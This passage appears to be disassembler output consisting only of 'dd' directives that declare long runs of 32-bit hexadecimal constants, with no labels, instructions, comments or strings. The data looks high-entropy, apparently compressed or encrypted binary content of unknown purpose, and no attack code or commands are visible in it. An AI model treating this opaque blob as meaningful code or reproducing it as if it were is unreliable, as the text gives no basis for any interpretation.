		dd 0E88048B0h, 3D9E7A0h, 0E0B1C1D8h, 8D21F7F1h,	69649ACBh
		dd 8441F605h, 60797C7h,	74624CC8h, 0FDA6BE79h, 0C5995CA2h
		dd 72A56451h, 9D72FA6Ch, 0F0E27369h, 737BE67Bh,	6CF69725h
		dd 10DF25DBh, 0F02F0BC6h, 731659Fh, 7A036850h, 616488F1h
		dd 38B816BEh, 3E6C4A20h, 2D100167h, 2EBD7859h, 7656101h
		dd 0B11CA07h, 82553888h, 5542A7CAh, 0AAA1A324h,	7FC5E209h
		dd 45F2229h, 0E9E8FCF9h, 2BF82D00h, 84357A19h, 2997DD06h
		dd 5E22C231h, 0F514448Ch, 0BB1416BCh, 13F9383Bh, 35020B23h
		dd 0EA15E908h, 353D68C0h, 0E43EE917h, 28B27A99h, 5F676816h
		dd 0A8822537h, 0F0DBC62Ch, 0FB3626DDh, 8646082Bh, 262D4800h
		dd 95CE45D9h, 577F1178h, 1E961A30h, 624CAB35h, 50D3A23Ah
		dd 546500Bh, 8B34CB66h,	9169FB04h, 4197227Bh, 0B14E6857h
		dd 0A6472789h, 55CE4E43h, 0CC6B0B9Dh, 8BD150E0h, 20B681CAh
		dd 765F390Fh, 4E1871F2h, 0AFC291E6h, 105E6C70h,	809D1D4h
		dd 38A05758h, 31BA051Ah, 0E0E5E4Eh, 0C56998C9h,	38819058h
		dd 2E2DFDBFh, 0E91EFDD4h, 142CD3D3h, 3E7F41ADh,	126F78DDh
		dd 820F85F1h, 680175C9h, 3B8B444Eh, 0C4C8E154h,	5F480B11h
		dd 72407625h, 5EF52589h, 0D380DD1Ah, 54605AD4h,	0E92EEBFEh
		dd 50A4C8A0h, 0BC26963Bh, 0E88822D1h, 0C7D1FDC9h, 0EF833D68h
		dd 1EB5F780h, 0D83BB2A4h, 9A280C7Eh, 0D3747141h, 34FE4BDDh
		dd 7A70BC1Fh, 215DFBC1h, 0CD2B1C6Fh, 0DB13EE6h,	5AE866F4h
		dd 0B6CA1877h, 3F7C5EE2h, 0C05D4295h, 240698EDh, 71E3586h
		dd 6BA00544h, 52489057h, 0B8A55C7Bh, 7CACF502h,	63770234h
		dd 0C03FFFB2h, 0E903310Fh, 0F39F6952h, 2CADC603h, 29BA61CFh
		dd 84C86B34h, 0B1CF4C73h, 0A452AAD2h, 0E9521880h, 55C1403Bh
		dd 71861FCh, 0CD6A1AA6h, 375B192Bh, 20069A6Eh, 5C077FC3h
		dd 0B068790Ch, 9B88E4CAh, 84B605B5h, 2904AA30h,	510ECC26h
		dd 5F70B4CBh, 212EE19Fh, 0D9397632h, 784F2F67h,	0B4043E24h
		dd 1FBE44B3h, 49AC5606h, 5B00874Eh, 0DE3943EAh,	7DF1545Eh
		dd 0EBBB05EEh, 97AB0752h, 66C8F3F3h, 56BDD725h,	0E19644C8h
		dd 0A7F63FFEh, 49B0866Bh, 79B4E048h, 0E76CC587h, 0CB5C0B9Bh
		dd 91E3B020h, 595B1F17h, 87B2E83h, 6617C252h, 7AA121ABh
		dd 4FCA6A4Ah, 796C23Eh,	0A190A870h, 2E3D9268h, 0DCC9B727h
		dd 1BB56EC2h, 5491C13Ah, 36382EF9h, 0F16C1696h,	82A0F11Eh
		dd 9711653Ah, 0A10FD770h, 0CF62FBE7h, 1D4E57E1h, 1F017A63h
		dd 28E5419Fh, 0D147016Ah, 2F2CE9EFh, 0B9D6B793h, 313A559Ah
		dd 6FFB3D2Dh, 5EA6FC61h, 3FCC0C05h, 6ABB0BDDh, 766A6806h
		dd 0F79B2DDFh, 5296EBE4h, 14C1E88h, 45176EBAh, 33866E69h
		dd 0B895F0Dh, 5651EFCDh, 651151AFh, 5AC12308h, 0FA018D12h
		dd 12C10614h, 0BD123852h, 0ED020CF2h, 1912F6F4h, 530D9A80h
		dd 0CA950A54h, 0E9080188h, 0A34BAA5h, 9F0478EEh, 815B8AA0h
		dd 471D8CCEh, 0C680571Fh
		dd 6E650569h, 0E6C11246h, 0BE44EA03h, 2EF41BE9h, 1A330CC2h
		dd 9E0C4B8Dh, 699C7A1Bh, 87641AAh, 915B68Fh, 0C2500685h
		dd 610F87ADh, 30354518h, 420EC081h, 0CFE91FDDh,	7827A2DCh
		dd 80B1CC5Ch, 0C20B1DF3h, 48B2F60Eh, 4F81714Bh,	0DA3CE440h
		dd 5F251476h, 86E9F081h, 82587548h, 286C461Bh, 80135842h
		dd 970EE907h, 0D3DC4DE2h, 0D08B77D2h, 0E95E5276h, 5856DE00h
		dd 0A1E71BFh, 85E6B3C6h, 828959CDh, 75524Ch, 22E95ACCh
		dd 0AFEC956Eh, 99975D30h, 0E805DDF6h, 2972C164h, 82174371h
		dd 79377A8Ah, 4FA8C17Eh, 0D4C32F81h, 3A9953F5h,	4152FFA0h
		dd 0EB877FC6h, 9AEECC7Ch, 639C2725h, 8158CAF6h,	7E5AB7E9h
		dd 994A69EAh, 2768A2CCh, 145958F3h, 6553728Ch, 307093E8h
		dd 146AA58Eh, 4295B3Bh,	0C059E956h, 25B4CBF4h, 5B741615h
		dd 19850C94h, 0C54DFD81h, 9795E8DCh, 689E7276h,	17C95052h
		dd 0F14F4E26h, 91AD2BD0h, 0B6FE0CDAh, 0A704E9C7h, 68AF30ABh
		dd 0D39F3BDFh, 3CE9849Ch, 1307E3E7h, 44BF7968h,	0FFB59FD6h
		dd 0CADA2A29h, 0BDC051ECh, 6F4813AFh, 222808F3h, 0F220AC7Eh
		dd 0F2594AB3h, 12BB9610h, 1031B3D3h, 7B5059A0h,	55450025h
		dd 8A1FBD56h, 295AA3C0h, 680B9CADh, 25FB58ADh, 1A1F173Dh
		dd 20C239FFh, 966072E9h, 11D8C6A1h, 8872C4D1h, 2F9CCD7Dh
		dd 400EF1C8h, 0A527683Dh, 71A8D442h, 46A23B0Ch,	3A6DDBA1h
		dd 4EF4982Dh, 0CA91C0E0h, 75215EB9h, 7D540CC1h,	2E9F556Ah
		dd 0DEBE425Fh, 0C0DFD629h, 2E525EC0h, 8B5F2331h, 6E02C783h
		dd 0D6E48C9Ah, 0BE221300h, 56840D5Ah, 0E940177Ah, 88B7C2FBh
		dd 69EB1DC0h, 0BF811AB6h, 4A54180Fh, 0E17CE261h, 8B42152Fh
		dd 5C51865Ch, 84102863h, 0EB3870A2h, 0C5C32E59h, 6084B24h
		dd 168A2EC6h, 5152AB75h, 0A1D2BBEh, 8C795CE9h, 0B86DEE81h
		dd 96EFE53Eh, 10229D6Fh, 65F73A53h, 2DC2BF5Fh, 68C59A57h
		dd 0BDFE019Dh, 0EEC572C4h, 0F782F131h, 6B46DFC3h, 35F2B82h
		dd 4AF6BE42h, 0FB0A0F31h, 0ECBBAC25h, 0CFE919BAh, 86A08051h
		dd 0A4D22CC8h, 0ABF3403Ch, 117CBE6Eh, 8061A34Ch, 2A543DE1h
		dd 427A9536h, 24836B22h, 98FB60Fh, 0B27F34E7h, 942D020h
		dd 0FBA7E92h, 1F14B1AAh, 61D8C9F2h, 0D912F682h,	78240509h
		dd 0FD3882B3h, 31FE2685h, 0A1A7B8FAh, 8E44D021h, 28AF5D95h
		dd 6C2968A2h, 0E9094830h, 0BF30705Fh, 92BF41C5h, 0C8D456h
		dd 0D8774F74h, 0C8053D4h, 1F99277Ch, 2BFDDE58h,	2FC2688h
		dd 0E9CCBE05h, 0F809ADC0h, 99CF2CC2h, 22525167h, 6CCDC5B1h
		dd 4B7045A6h, 576B8840h, 0A1437997h, 89534188h,	0CA62CAFBh
		dd 3B3D86FDh, 246C1377h, 0D3EC2708h, 1B077F45h,	0DD444DEDh
		dd 9CA0CFCh, 153EF1Ah, 883DCD0h, 4B140C42h, 0AF9B16EBh
		dd 88AE6425h, 3A4ACAF0h, 0B2CED546h, 0BBEB4B69h, 3F12A113h
		dd 0E9AD80EEh, 22CB6A08h, 52AB5C5Dh, 35E2778Bh,	14C48E55h
		dd 0AC0AA01h, 71071CDCh, 181D743Ah, 880858D4h, 0AADD803Ch
		dd 954320C4h, 10EB0406h, 8966931h, 0A801C1D5h, 0C87901EAh
		dd 8C197B01h, 8305E30h,	0F15941D1h, 11208855h, 44360825h
		dd 18C2E60Ch, 698540E8h, 0CC4B8188h, 29104F59h,	40ADA940h
		dd 1E3E090h, 590138F7h,	702D01B2h, 6993D19Bh, 81389931h
		dd 88CD26Bh, 472028DCh,	0A1089B63h, 0B61810A5h,	5796186Ch
		dd 8067B310h, 8C473E9h,	0AE06043Bh, 3F312097h, 64EB0888h
		dd 1937F01h, 7201D6EDh,	2A3301D0h, 0F7BB3888h, 89100B11h
		dd 0E6F8104Eh, 28090A18h, 7680DBC6h, 5E79CC0Dh,	86665410h
		dd 66F93E61h, 79160877h, 33C58220h, 43219779h, 3C15162h
		dd 0EC6B0746h, 0B8639C08h, 1866D230h, 18917808h, 0E680D339h
		dd 492E8090h, 0C4520680h, 6317708h, 3320DEFCh, 350850C8h
		dd 3D163110h, 10E53018h, 8C684D9h, 31188F44h, 0BF080E62h
		dd 483E0222h, 0C4037A2Ch, 6BA6C10h, 6308655Ch, 0BDCAA188h
		dd 79470818h, 82DFC928h, 9327A43h, 48E51888h, 809AAF00h
		dd 3E818B90h, 4F22B451h, 18CA401h, 1A036169h, 514B6131h
		dd 5D011908h, 52BC010Bh, 8C4E0A01h, 8813110h, 51DC8901h
		dd 98D576B4h, 0EF08C0F1h, 4918CA1Fh, 71239CE8h,	92D41508h
		dd 7044A120h, 0AD0A0FB7h, 4AFD89B8h, 1018342Eh,	8C62467h
		dd 3118A30Fh, 99087C51h, 0B4D1A28Eh, 18D04349h,	0A31808D6h
		dd 5F158060h, 2C4010C6h, 0A17A3108h, 95C99A18h,	24B8E508h
		dd 9788C8CCh, 5310086Ch, 873960Ch, 8FB440DEh, 0D449109Ah
		dd 0F93710CCh, 0FFC0D13Dh, 62EFF340h, 0F21E0885h, 3986202h
		dd 89209B02h, 193A6250h, 0F7038218h, 0B6083C8Dh, 0CD6294C0h
		dd 374BD20h, 10139B3Dh,	1048A7C5h, 0E45B083Eh, 880560Ch
		dd 6E03EB13h, 356220DEh, 3D3F489h, 810AE7Fh, 0F63E77E1h
		dd 471B1E4h, 60014DFFh,	32E8FC9Ch, 7BE85BA4h, 1E464418h
		dd 0C8F1C78Bh, 10C0435Ch, 752C473Bh, 13EB1802h,	0A7B90E89h
		dd 5893DDEh, 40890001h,	0BC90B49h, 748BF775h, 0DE81440Eh
		dd 62B9F003h, 0C0331E97h, 4FB10F03h, 0AC2C0530h, 0EE37D6E9h
		dd 0D00765CAh, 306A7205h, 585B5038h, 2C12DA96h,	91BBE180h
		dd 40863D0Ah, 0A1935434h, 80E36E43h, 2606D64Ch,	0EB14EC28h
		dd 55342F09h, 0ED0E5F0Eh, 0A56DC67Eh, 3700F65Eh, 89B962D6h
		dd 67AFE9F8h, 0E2E5994Eh, 8DC16965h, 4104E0EDh,	0BD90DA95h
		dd 0E3373C4Ch, 0AFCCEE02h, 0BB04F5E6h, 0A1F89013h, 0CF88BEB4h
		dd 2C7B65F9h, 325EC1FEh, 534A8038h, 695AB850h, 62027CDAh
		dd 0D68270Fh, 0C2D96857h, 0D4E1828Dh, 0AE84F728h, 81170EF2h
		dd 970BFBEAh, 5BE60308h, 58180667h, 4747B068h, 724E3737h
		dd 10222BA3h, 58120C65h, 496B18DBh, 1ED5F720h, 8DFFED83h
		dd 4E1E1D1h, 675BADEh, 8FEB07C4h, 0F4ED4A32h, 106F9918h
		dd 5B5BD821h, 39D6D446h, 4D8CBF16h, 0E9185845h,	76DF8515h
		dd 598C2D7Ch, 983ED9D4h, 661A9B8Fh, 3DD3A68h, 0B310464Eh
		dd 873B1AC6h, 4C8A99FAh, 0F76B50C8h, 1ABB96B6h,	487F2A4Eh
		dd 481CE32h, 6C52E3C6h,	38CDBB1Bh, 0A03D200h, 2637FA8h
		dd 982CCDBAh, 0C0F7317Ch, 0C93F49D7h, 1A0E804Ah, 665FC363h
		dd 84D0C2EDh, 0D124D3F8h, 6D2649E7h, 55189E00h,	3D7CECBDh
		dd 0DDA843A2h, 0A4560BCh, 5E13F581h, 31369916h,	5EE99C98h
		dd 6E14F1BFh, 8D6AB47Dh, 0C8DB009Fh, 55B2268h, 60B2DCCCh
		dd 90F2412Dh, 0D77BAFB7h, 5972FC25h, 23128484h,	68038801h
		dd 12629827h, 378E03B3h, 3534F075h, 802B00EDh, 59BB5308h
		dd 0E05A1123h, 927ED4A4h, 0FA2D0B97h, 0AFF87F4Fh, 0FE01EC1Fh
		dd 0C6A6B9h, 0A15BB210h, 495608F7h, 77FEE340h, 0FFB2ACBh
		dd 52D6954Ah, 0C1895E9Fh, 88B0D5FDh, 58F8CA89h,	960E9D60h
		dd 707E8C1h, 3D472725h,	91C7E472h, 0C092053Ch, 68171065h
		dd 0FAE316D3h, 2585C239h, 81C58169h, 810F52BFh,	88C63F0Ch
		dd 2692187h, 2DA8E90Ch,	729731A0h, 3ED5F575h, 7B816582h
		dd 9380B3C6h, 580A64BEh, 5433DD90h, 63C4E589h, 0C7880F30h
		dd 0EA6E8194h, 4A68001Bh, 524EA836h, 5F6BFF5Dh,	2E3BC943h
		dd 90E094F5h, 236F6202h, 655D4720h, 0E8E9058Eh,	0BF1C95B6h
		dd 0F16D272Ch, 84411E93h, 8C6DE498h, 64583913h,	76D2A000h
		dd 4FE921BEh, 0A85F85A3h, 1F4E7806h, 0E3A11516h, 7EFBC20h
		dd 5749DB42h, 7227E2BFh
		dd 8667807Fh, 9F643561h, 0D10556E0h, 51232016h,	74074A8h
		dd 12A8EC5Dh, 0E80DCF24h, 0D7A71A57h, 46EF5562h, 0A76AE904h
		dd 3D34D9EFh, 0DA40A90h, 85692101h, 2739021Eh, 0E9820679h
		dd 7509CDFAh, 0D1D3EB04h, 3EC78332h, 9F134D01h,	10EF9BA8h
		dd 4E4BD7B2h, 58C994F2h, 0F4E31D91h, 651D1BCBh,	0F3816316h
		dd 6F9677BBh, 87650C7Bh, 5640C57Dh, 20C177B3h, 71BE43C8h
		dd 0EC450D02h, 28F57463h, 217F1007h, 788D0501h,	62063AF6h
		dd 4FB4928h, 0B40D87E2h, 6632C032h, 0FE516E19h,	0B138D489h
		dd 0D701781Ah, 0E90801D8h, 0C34ABD87h, 9CFBFA45h, 0E77749AFh
		dd 1F46755h, 76E9F729h,	0E1478745h, 77800E2Fh, 61F18749h
		dd 70E90646h, 0CD23814Dh, 5CD26E1Ah, 0C51EA132h, 7FFF4B9Fh
		dd 871788D0h, 3B8553D9h, 0F3C68ECh, 68503EE0h, 2FE17244h
		dd 0B0D2C5BDh, 93A10323h, 96ED2B52h, 7BF3E9A1h,	0E2AA2F84h
		dd 0FB90DE5Fh, 12FCC5Bh, 6E5FC5A9h, 58101FF2h, 70DE4CC0h
		dd 0E14B7D55h, 3462FEFh, 4F0ACC79h, 31C6315Ch, 96C1C9C8h
		dd 0B5E65608h, 0F01CFD5Eh, 7B8B951h, 816FC430h,	0FE0D7DF1h
		dd 4422B7Eh, 0FE1ADDB4h, 0D77E9ADDh, 620A2B89h,	0A1F12535h
		dd 203E6885h, 40CD2898h, 10CB871Eh, 85B4DB5Ch, 0D129CEE9h
		dd 6A5AD11Ah, 339E26C1h, 9E817AD5h, 0A3122458h,	73000901h
		dd 6DB3BF2h, 34E94B98h,	5B284607h, 145805Ah, 0C5110C82h
		dd 0A2FFD17Fh, 68D5DD82h, 83418E09h, 0AA5494D7h, 5326B98Ah
		dd 256719BFh, 4E142F22h, 24E35EC1h, 3F2C4592h, 42588D28h
		dd 0C8FE8DCEh, 0FD201BACh, 0AD9A5EB0h, 0EA32D04h, 97BADA98h
		dd 18B3496h, 50DD865Ch,	9A7C2AE4h, 678B5AFh, 0B1D32E6h
		dd 0F681418Dh, 0F372EB4Eh, 53A8E06Eh, 95B5D02h,	0CAE6E9E8h
		dd 0F590F7A4h, 12C3B957h, 0C103E0C0h, 0BF52866Bh, 388C64C8h
		dd 0F240C2D2h, 0F580D3Fh, 0A6EAD10Eh, 0DA1274h,	0F154DDB8h
		dd 0C15E050Bh, 8A0D552Fh, 0C806EE4Dh, 204A2561h, 3BBECF42h
		dd 5EE0E9D0h, 0B4DBF4F9h, 12D3075Dh, 29BA58C3h,	1E07B492h
		dd 508D8B0Fh, 9E68912h,	3E29F8A8h, 0F77AABFEh, 3197361Eh
		dd 0BD250F98h, 9FF68CBBh, 325FE162h, 0EAC57D0Ah, 6044E989h
		dd 1460BE19h, 0C9529D79h, 0A77BCD55h, 0C3E9C2C8h, 5F5264EAh
		dd 0C08EB88Ch, 0DAF75A58h, 2C66B892h, 78DD103h,	7C820D4Ch
		dd 0FDE4C75Ah, 0AF31A2B5h, 21BB90F7h, 0D7DE5810h, 2225F102h
		dd 0C0772FF6h, 0D3A9E956h, 874FF929h, 5F09D1ECh, 682CA066h
		dd 19A8A085h, 5EE64867h, 765D49B2h, 41F7636Bh, 0EAC11C0Fh
		dd 489D0505h, 0B9902624h, 5E5841D6h, 3F33F13Fh,	79DFBFE0h
		dd 0B8200B34h, 3A85D3C7h, 462DBF01h, 0B7587A20h, 0BBE97781h
		dd 4870A419h, 3BD4923Bh, 0C2490029h, 302AA7F5h,	0AB49D40Dh
		dd 4524317Dh, 0A6704CA1h, 7D27AC8Dh, 0CB2303BAh, 167CE9D2h
		dd 0AF217C5Fh, 0F67B6A8Fh, 5E688205h, 0C827FC02h, 7C410FBh
		dd 67091205h, 8CB65617h, 31AB7D9h, 57228975h, 4BCAEC00h
		dd 674E8C12h, 0F2D3E3B2h, 6D33DA9h, 4BBDE9DAh, 53F28851h
		dd 0C15EAB18h, 32855BDCh, 275A5059h, 0A021E43Bh, 1EB85197h
		dd 844DA7FCh, 0CD3185C4h, 0D8CF2C04h, 0CEF861FAh, 99540C61h
		dd 8E460CFBh, 56EED3A7h, 8199F958h, 128113D5h, 26ECB46Eh
		dd 0D6AF584Ch, 5EC90DB2h, 6CB4B077h, 880AC4D3h,	5920FAE3h
		dd 1E10CE81h, 0CB3EAF47h, 0FEA13B9Ah, 0EE02FCEEh, 843BAA74h
		dd 29FB51DDh, 0E72C3FC8h, 5B12E7Ch, 0B442B034h,	5C39417Ah
		dd 330513B2h, 0BA4E0C4Bh, 8122ED4h, 0C5B62CBFh,	0F9315009h
		dd 0EA85D544h, 600812EDh, 0B64DE97Bh, 0D6E9A49Bh, 68B04C71h
		dd 0A917F631h, 6D62D620h, 0EA0917D6h, 99847E75h, 4F851FACh
		dd 7B21CA48h, 8BFC1824h, 0C412DA53h, 19C60119h,	1CB9ACCh
		dd 461230F7h, 0CACE514Ah, 3258C713h, 987F9980h,	4EF16887h
		dd 0C40A3131h, 0AA085593h, 6D48A4DAh, 0B8AC3613h, 0FAC09C74h
		dd 89CD5AEFh, 5F7F90F9h, 400EF4FBh, 4C21444Dh, 0B0BF0439h
		dd 0AC80289Bh, 91622EFh, 0DF2908D7h, 2508DD88h,	749599E6h
		dd 60C14715h, 9C03E902h, 0F6728CA8h, 6F056C91h,	920E2E5Bh
		dd 1660E0F7h, 4968E927h, 0D53B5669h, 24C4891h, 2D2F77C5h
		dd 95054C76h, 55961865h, 22AEBA02h, 0EE08E061h,	40480387h
		dd 0CABAE947h, 0CCBB2C04h, 2EC17F44h, 65BBA671h, 0A910E153h
		dd 12B05A3Dh, 80E2B9FEh, 7879B951h, 0F9FC7A26h,	0AC1C8867h
		dd 7D1A165h, 0CCF4DDF7h, 660EC122h, 3B3FC568h, 871965F7h
		dd 3758204Ah, 0C021430h, 8054C9ECh, 3D79B842h, 407C2D07h
		dd 0D10CD8D6h, 815AA6E0h, 0F500715Ch, 11CC6FD6h, 11D16C4Dh
		dd 4F256860h, 5A2EE657h, 0FD2B17C2h, 40FCA626h,	0F57701EBh
		dd 0E632DB2Fh, 0C42FE933h, 1A95B6FFh, 0D797D77Dh, 675182CCh
		dd 1416BC40h, 0CFDD04F2h, 2E322255h, 0D704408Bh, 0A3F582BBh
		dd 0F37D47F6h, 0E44C25Fh, 5D8970A1h, 14F03929h,	0C0D35739h
		dd 6B886852h, 0ED145A78h, 29A5C025h, 58C17D49h,	0F1309BEBh
		dd 51962C89h, 21DEF9A0h, 0EBC57FC0h, 9F780712h,	470A3379h
		dd 67070F34h, 0D79B484Ch, 14352980h, 4B5A2C39h,	30AB4B85h
		dd 35CAE971h, 69C339C7h, 0FD0C09BFh, 3008A728h,	4C2A791Ch
		dd 98E25D4Fh, 911B94C5h, 4252C366h, 0B778F8FBh,	875043B4h
		dd 0D690B0D7h, 122CBC08h, 0C14037E9h, 0CEA6535h, 0C6213EB8h
		dd 461C4118h, 3A561B68h, 3FF612D3h, 88A43CEDh, 3262F88Fh
		dd 0FD495A41h, 692DBDEEh, 0C1AEF6DCh, 2C4C9868h, 5835D2F1h
		dd 6B7ADA00h, 1201518Ah, 4B19E9CEh, 822231ADh, 0EA0FFB0Fh
		dd 9A0299C3h, 7D564565h, 0AC80C76Ch, 96270B1Dh,	0BE44600Fh
		dd 650D7887h, 0C06A6454h, 0F3014540h, 0C8C8189Ch, 570D1E04h
		dd 15B1B0AEh, 406BDE97h, 48D2685Ah, 7B6B469Dh, 0C0949760h
		dd 109367F5h, 800B0394h, 0EFF66EFh, 0E165F62h, 0DCC86953h
		dd 2F71012Dh, 0C8013F13h, 82074405h, 46AFFB34h,	9D34E07h
		dd 201AE657h, 5997F3BDh, 4F080914h, 0AA674294h,	0E98E5127h
		dd 8608A89Fh, 6BAC01C5h, 7479E982h, 95A00066h, 0F88BDE71h
		dd 60B96CB2h, 6AD50C72h, 74F6257Ch, 73FD4362h, 0C4C17EF3h
		dd 5628D208h, 0F1926FE3h, 3E430CFEh, 0E01C4BC3h, 4F143880h
		dd 34861603h, 0E1857A59h, 270151A3h, 121880Dh, 1523FCEFh
		dd 0C30768BAh, 89E1398Dh, 0D2EA3BB5h, 0C57750AAh, 0BBE986E1h
		dd 0F8FC2325h, 79BE7A1Eh, 16775CCDh, 0C9C520h, 5317667h
		dd 4B713963h, 40E8D100h, 9C162B2Dh, 0B6AEA65h, 1D8D7BAh
		dd 5C051077h, 16679A66h, 15119A02h, 5F0BAD01h, 0B8F1FB21h
		dd 0FF3CE6Eh, 5238961h,	0E8E82DC5h, 0E0952C9h, 0DB63E818h
		dd 62B56880h, 79CF0B16h, 6CC6E50Fh, 552555CAh, 4E6135F9h
		dd 0E9D88564h, 1A91678Ch, 10581BFh, 0E0D27F02h,	0DBFCA95Dh
		dd 0A0F107FCh, 0E9628122h, 5BB16814h, 62FFE684h, 7C405127h
		dd 0EA0BC09Eh, 76E28007h, 0C3C0CC7h, 24985C34h,	0DE0F5758h
		dd 791EA20Bh, 30FD828Dh, 26447448h, 0A00AB920h,	0BCEF50A7h
		dd 6EE8A77h, 414802DCh,	0CAAE7198h, 8C84F06Bh, 4FBB13A0h
		dd 0CBBE22BCh, 0CC484FDCh, 0BC004839h, 40F6810Dh, 9750F062h
		dd 570E3446h, 1C6033E9h, 24B22F2Dh, 50D18A22h, 543B5DEBh
		dd 1A17C360h, 0E1DFC86Eh, 781AC40h, 2F0F5EEDh, 0D4D4B420h
		dd 9344FFC6h, 0BB0FFB65h
		dd 22242193h, 57D06B03h, 0F3703797h, 0C22C28EDh, 911D5B3Bh
		dd 4AE7A406h, 3D8518F6h, 50CCF1AFh, 7C87EB1h, 0B6525966h
		dd 40DFE2CFh, 93AC02F3h, 4E31E60Dh, 4871F666h, 0BC7EF076h
		dd 463CBD75h, 126B6299h, 7805305Dh, 0A610B713h,	682A03ABh
		dd 89253BA1h, 2CD4DE43h, 32685AE3h, 0E7255DA3h,	909EA268h
		dd 8BAF716Bh, 42315A7Ch, 29843430h, 0F52DD005h,	0A0059746h
		dd 0B340966Fh, 1D7450EBh, 5C20F67Ch, 0BEB47F86h, 748E72C0h
		dd 1C614890h, 9324FE00h, 957BBB70h, 3BB05DF4h, 43EE5855h
		dd 3A04BF74h, 277F68ACh, 0D1C698EBh, 18ADE915h,	75F25F54h
		dd 1CD9A810h, 0F78AEE88h, 8004C55Ah, 0C2FF6FC7h, 7C785461h
		dd 0AD314FBDh, 1B89AD32h, 8628F4FEh, 62176325h,	3CCD7CDCh
		dd 48530790h, 0BE267783h, 0A5409513h, 0EC14F62Fh, 72DA39E3h
		dd 7354072Dh, 0B9510680h, 0A0433F38h, 81269FABh, 57982B93h
		dd 94B9ACAh, 2C64685Fh,	20522D99h, 8870D397h, 0F0835497h
		dd 466BA6E9h, 2503413Dh, 0ED80FF55h, 5A887473h,	95018054h
		dd 4017A907h, 0ACDFF7h,	3A44B905h, 0E98646B4h, 0A890757Fh
		dd 7253F000h, 16BA522Eh, 7B611F37h, 0FDE2404Ah,	42485F51h
		dd 0E7BB5302h, 7D37EE10h, 7C5D3C68h, 0E9271D7Fh, 0C896108Ah
		dd 0FE6E2F6Ah, 417F2050h, 16D65F2Fh, 411EFAF3h,	0C6F07A37h
		dd 10531F9Dh, 0BE72092Ch, 6F55CEE6h, 0D4176ED0h, 970B20B1h
		dd 1262E34Ah, 0BC13DA29h, 0C5536384h, 0DB14FBCh, 0BDB3367h
		dd 0C6417468h, 0C639274Fh, 2FFD15ABh, 2D8A3263h, 66800349h
		dd 48EE8058h, 0F0E0FDFEh, 3E3DF89Fh, 0F10BC1FEh, 0DA04287Eh
		dd 0DF29AB5Ah, 4002FA20h, 0D5BE580Ah, 195C720h,	9B0CDE2Eh
		dd 211561FEh, 5BDDA98Bh, 64B3159h, 26238CACh, 189A59CFh
		dd 0F9315624h, 0FC41A490h, 0A6458878h, 5948D742h, 749F8867h
		dd 0DE037428h, 0BE04096Ah, 0A80B5ADCh, 0F701174Ch, 0E9B1B5A8h
		dd 0C99D3285h, 78ADDC87h, 0D39FEEEDh, 13E41A83h, 0E1A26175h
		dd 0D702CAC9h, 29037402h, 97B914DFh, 6424B479h,	56F56862h
		dd 38D52593h, 905DE80Fh, 734F33FDh, 0D0BAFB13h,	315FB048h
		dd 0CA7293A4h, 0F35AD332h, 0BA715559h, 0BE74442h, 9E419F2h
		dd 7EF689Fh, 8955C4CBh,	5A248BC7h, 24CBBCB4h, 1D0E6E75h
		dd 401941CFh, 7B50564Dh, 94658602h, 4A42FD37h, 0FC600B5Fh
		dd 0C6617AF1h, 0DA0D81AFh, 5B3DEA80h, 0EE01C2D0h, 3BD090F2h
		dd 0F6E42E8Ch, 1F02C3CBh, 0E1A06A5Bh, 44A1BD03h, 0D547C4EAh
		dd 0AC60001h, 94B90DAh,	9309BAC2h, 90F20483h, 485E6A27h
		dd 0E88207B9h, 371B702h, 3529E964h, 0D2F83B13h,	47D830Eh
		dd 165F0AB2h, 2BF89F7h,	3AE0FB98h, 176840Dh, 806BAFDh
		dd 1105091Ch, 367434ACh, 37C3400Ch, 6C840FEEh, 38691304h
		dd 0F12593D6h, 0D0876418h, 4A0F05E7h, 8740F83Ah, 36095CC5h
		dd 1DF7E6Bh, 0AB208435h, 99588083h, 0E9755834h,	0F52F5DD1h
		dd 0E86EC15Fh, 0FB31D8E2h, 80F23BF3h, 0E0E90204h, 999DC806h
		dd 35CD0B17h, 0F9749CBCh, 30785E62h, 681014BDh,	0B39674B5h
		dd 3535C60h, 9249A0Eh, 706B5538h, 0FFFB83FFh, 0BD360037h
		dd 3B0F4D6Dh, 0C2B7E5C1h, 0B8D02BEh, 5CDBC24Fh,	0A9908C54h
		dd 8E07B85Ch, 2D55CC22h, 23A00D40h, 0FFE83083h,	8EE906F8h
		dd 190F14Ah, 61C62D74h,	3DEB8030h, 0E1F7EA44h, 123B18E4h
		dd 4891CB19h, 4AEE985Bh, 0EA67BC01h, 0E02131Fh,	0C6CF20C7h
		dd 293E1E83h, 78280C77h, 0FE419D34h, 55530802h,	0FA48AD92h
		dd 68E45557h, 0E203D802h, 0F03EE90Bh, 2ECF9A8h,	0B8957F61h
		dd 40BB5A5Bh, 423DC67Bh, 214FA4E3h, 81B44DBCh, 623F3215h
		dd 15F205BEh, 0C11D7013h, 18618FB9h, 1260842Ah,	30194FB3h
		dd 0D95B10E5h, 4E016CF8h, 4B60B8A1h, 68054DEEh,	9625994Ch
		dd 515F4DBAh, 0CCEA676Bh, 0D4093A76h, 2899576h,	48055A77h
		dd 831C4817h, 8B2B08D1h, 369B514h, 9F28A54Fh, 5951C657h
		dd 0C8C8E604h, 58CE762Ch, 0E93A5B98h, 8B9EDA26h, 0D2667CC7h
		dd 49FD014Eh, 0FB157385h, 0ECA0C8Ch, 5D65AC07h,	0F4C44FEh
		dd 3086AE22h, 5008801Eh, 6CD502B8h, 12E93B89h, 5353055Dh
		dd 520F7C80h, 1FBBF473h, 0E5AAB8A4h, 4DFEB5A2h,	9C35C0Ch
		dd 0D8557282h, 0DF70087Fh, 9B289602h, 58BC70Fh,	0CB0132AFh
		dd 32B84A46h, 583318D8h, 10758548h, 0E44A7A21h,	0AB178AE7h
		dd 0F271DA5Eh, 0C100139Ch, 819703EAh, 0C9B24860h, 2D86802Fh
		dd 2A744FACh, 0E039E4EBh, 520B447Ah, 55640A76h,	32077E88h
		dd 570795E2h, 0DF84D662h, 5107429Eh, 0CDFE30B5h, 83FEC524h
		dd 0B12D15FCh, 0F650295Ch, 0C5B0C423h, 12A1DF39h, 4BC528E9h
		dd 0D8FDD3EFh, 4C75C6D2h, 18865C2Fh, 0C5F4E78Ch, 6D7D2FE6h
		dd 5B415B48h, 337B40F6h, 0EA717C29h, 4E3C1AE0h,	5A585213h
		dd 40072C00h, 2546410Dh, 0EA58756Fh, 0FD354807h, 7FF9BB7Bh
		dd 5527E0E4h, 314920E1h, 1F3F732Fh, 8B40964Eh, 0FE7AF88Ah
		dd 89122299h, 5F2D0EF6h, 29D3A4A0h, 12019D2h, 294AA254h
